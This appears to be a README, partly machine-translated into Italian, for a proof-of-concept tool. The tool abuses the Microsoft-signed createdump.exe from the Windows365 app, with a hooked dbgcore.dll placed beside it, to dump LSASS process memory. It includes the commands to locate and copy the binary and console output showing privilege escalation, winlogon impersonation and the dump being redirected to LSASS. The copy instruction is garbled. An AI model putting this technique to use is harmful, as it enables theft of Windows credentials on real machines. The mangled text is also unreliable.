
Leverage WindowsApp createdump tool to obtain an lsass dump
Windows App LSASS Dump - Prova di concettoQuesto progetto dimostra come eseguire il dump del processo LSASS utilizzando lo strumento createdump.exe, un eseguibile firmato Microsoft, dall'app Windows, sfruttando un hook personalizzato per consentire l'accesso al processo LSASS.
Get-AuthentiCodeSignature -FilePath (Join-Path -Path (Get-AppxPackage -Name *Windows365*).InstallLocation -ChildPath 'wnc\createdump.exe')
Directory: C:\Program Files\WindowsApps\MicrosoftCorporationII.Windows365_2.0.285.0_x64__8wekyb3d8bbwe\wnc
SignerCertificate Status StatusMessage Path
----------------- ------ ------------- ----
C2048FB509F1C37A8C3E9EC6648118458AA01780 Valid Signature verified. createdump.exe
copy C:\Program Files\WindowsApps\MicrosoftCorporationII.Windows365_2.0.285.0_x64__8wekyb3d8bbwe\wnc\createdump.exe .)dbgcore.dll di questo repository nella stessa cartellaL'output dovrebbe essere qualcosa del genere:
c:\work\_createdump>createdump.exe
WindowsApp PoC by Remko Weijnen
(ab)uses createdump tool from "The WindowsApp" to create an LSASS dump
Successfully hooked OpenProcess
OpenProcess called
Attempting to enable SeDebugPrivilege...
SeDebugPrivilege successfully enabled!
Attempting to impersonate winlogon...
Successfully impersonated winlogon
[createdump] Writing minidump with heap for process 35828 to file C:\Users\me\AppData\Local\Temp\dump.35828.dmp
MiniDumpWriteDump called with:
ProcessId: 35828
hProcess: 0x0000000000000184
hFile: 0x00000000000001BC
DumpType: 0x41a25
ProcessId changed to LSASS (PID: 1512)
Loaded DbgHelp.dll from: C:\Windows\System32\DbgCore.dll
Calling original with:
ProcessId: 1512
hProcess: 0x0000000000000184
hFile: 0x00000000000001BC
DumpType: 0x41026
MiniDumpWriteDump result: Success
[createdump] Dump successfully written in 270ms
DLL unloading, hooks removed.
Questo progetto è inteso esclusivamente a scopo educativo. L'uso improprio di questo strumento potrebbe violare le politiche sulla privacy e sulla sicurezza.